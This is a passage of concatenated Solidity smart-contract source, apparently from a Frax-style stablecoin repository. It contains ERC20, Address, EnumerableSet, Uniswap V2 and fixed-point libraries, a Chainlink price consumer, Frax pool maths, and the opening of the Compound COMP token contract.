require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal virtual {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of `from`'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of `from`'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import "../Common/Context.sol";
import "../Math/SafeMath.sol";
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "./AggregatorV3Interface.sol";
contract ChainlinkETHUSDPriceConsumer {
AggregatorV3Interface internal priceFeed;
constructor() public {
priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
}
/**
* Returns the latest price
*/
function getLatestPrice() public view returns (int) {
(
,
int price,
,
,
) = priceFeed.latestRoundData();
return price;
}
function getDecimals() public view returns (uint8) {
return priceFeed.decimals();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../Math/SafeMath.sol";
library FraxPoolLibrary {
using SafeMath for uint256;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
// ================ Structs ================
// Needed to lower stack size
struct MintFF_Params {
uint256 fxs_price_usd;
uint256 col_price_usd;
uint256 fxs_amount;
uint256 collateral_amount;
uint256 col_ratio;
}
struct BuybackFXS_Params {
uint256 excess_collateral_dollar_value_d18;
uint256 fxs_price_usd;
uint256 col_price_usd;
uint256 FXS_amount;
}
// ================ Functions ================
function calcMint1t1FRAX(uint256 col_price, uint256 collateral_amount_d18) public pure returns (uint256) {
return (collateral_amount_d18.mul(col_price)).div(1e6);
}
function calcMintAlgorithmicFRAX(uint256 fxs_price_usd, uint256 fxs_amount_d18) public pure returns (uint256) {
return fxs_amount_d18.mul(fxs_price_usd).div(1e6);
}
// Must be internal because of the struct
function calcMintFractionalFRAX(MintFF_Params memory params) internal pure returns (uint256, uint256) {
// Since solidity truncates division, every division operation must be the last operation in the equation to ensure minimum error
// The contract must check the proper ratio was sent to mint FRAX. We do this by seeing the minimum mintable FRAX based on each amount
uint256 fxs_dollar_value_d18;
uint256 c_dollar_value_d18;
// Scoping for stack concerns
{
// USD amounts of the collateral and the FXS
fxs_dollar_value_d18 = params.fxs_amount.mul(params.fxs_price_usd).div(1e6);
c_dollar_value_d18 = params.collateral_amount.mul(params.col_price_usd).div(1e6);
}
uint calculated_fxs_dollar_value_d18 =
(c_dollar_value_d18.mul(1e6).div(params.col_ratio))
.sub(c_dollar_value_d18);
uint calculated_fxs_needed = calculated_fxs_dollar_value_d18.mul(1e6).div(params.fxs_price_usd);
return (
c_dollar_value_d18.add(calculated_fxs_dollar_value_d18),
calculated_fxs_needed
);
}
function calcRedeem1t1FRAX(uint256 col_price_usd, uint256 FRAX_amount) public pure returns (uint256) {
return FRAX_amount.mul(1e6).div(col_price_usd);
}
// Must be internal because of the struct
function calcBuyBackFXS(BuybackFXS_Params memory params) internal pure returns (uint256) {
// If the total collateral value is higher than the amount required at the current collateral ratio then buy back up to the possible FXS with the desired collateral
require(params.excess_collateral_dollar_value_d18 > 0, "No excess collateral to buy back!");
// Make sure not to take more than is available
uint256 fxs_dollar_value_d18 = params.FXS_amount.mul(params.fxs_price_usd).div(1e6);
require(fxs_dollar_value_d18 <= params.excess_collateral_dollar_value_d18, "You are trying to buy back more than the excess!");
// Get the equivalent amount of collateral based on the market value of FXS provided
uint256 collateral_equivalent_d18 = fxs_dollar_value_d18.mul(1e6).div(params.col_price_usd);
//collateral_equivalent_d18 = collateral_equivalent_d18.sub((collateral_equivalent_d18.mul(params.buyback_fee)).div(1e6));
return (
collateral_equivalent_d18
);
}
// Returns value of collateral that must increase to reach recollateralization target (if 0 means no recollateralization)
function recollateralizeAmount(uint256 total_supply, uint256 global_collateral_ratio, uint256 global_collat_value) public pure returns (uint256) {
uint256 target_collat_value = total_supply.mul(global_collateral_ratio).div(1e6); // We want 18 decimals of precision so divide by 1e6; total_supply is 1e18 and global_collateral_ratio is 1e6
// Subtract the current value of collateral from the target value needed, if higher than 0 then system needs to recollateralize
return target_collat_value.sub(global_collat_value); // If recollateralization is not needed, throws a subtraction underflow
// return(recollateralization_left);
}
function calcRecollateralizeFRAXInner(
uint256 collateral_amount,
uint256 col_price,
uint256 global_collat_value,
uint256 frax_total_supply,
uint256 global_collateral_ratio
) public pure returns (uint256, uint256) {
uint256 collat_value_attempted = collateral_amount.mul(col_price).div(1e6);
uint256 effective_collateral_ratio = global_collat_value.mul(1e6).div(frax_total_supply); //returns it in 1e6
uint256 recollat_possible = (global_collateral_ratio.mul(frax_total_supply).sub(frax_total_supply.mul(effective_collateral_ratio))).div(1e6);
uint256 amount_to_recollat;
if(collat_value_attempted <= recollat_possible){
amount_to_recollat = collat_value_attempted;
} else {
amount_to_recollat = recollat_possible;
}
return (amount_to_recollat.mul(1e6).div(col_price), amount_to_recollat);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import './Babylonian.sol';
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import '../Uniswap/Interfaces/IUniswapV2Pair.sol';
import '../Math/FixedPoint.sol';
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import './Interfaces/IUniswapV2Pair.sol';
import './Interfaces/IUniswapV2Factory.sol';
import "../Math/SafeMath.sol";
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// Less efficient than the CREATE2 method below
function pairFor(address factory, address tokenA, address tokenB) internal view returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = IUniswapV2Factory(factory).getPair(token0, token1);
}
// calculates the CREATE2 address for a pair without making any external calls
function pairForCreate2(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))); // this matches the CREATE2 in UniswapV2Factory.createPair
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
/**
*Submitted for verification at Etherscan.io on 2020-03-04
*/
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
contract Comp {
/// @notice EIP-20 token name for this token
string public constant name = "Compound";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "COMP";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 10000000e18; // 10 million Comp
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
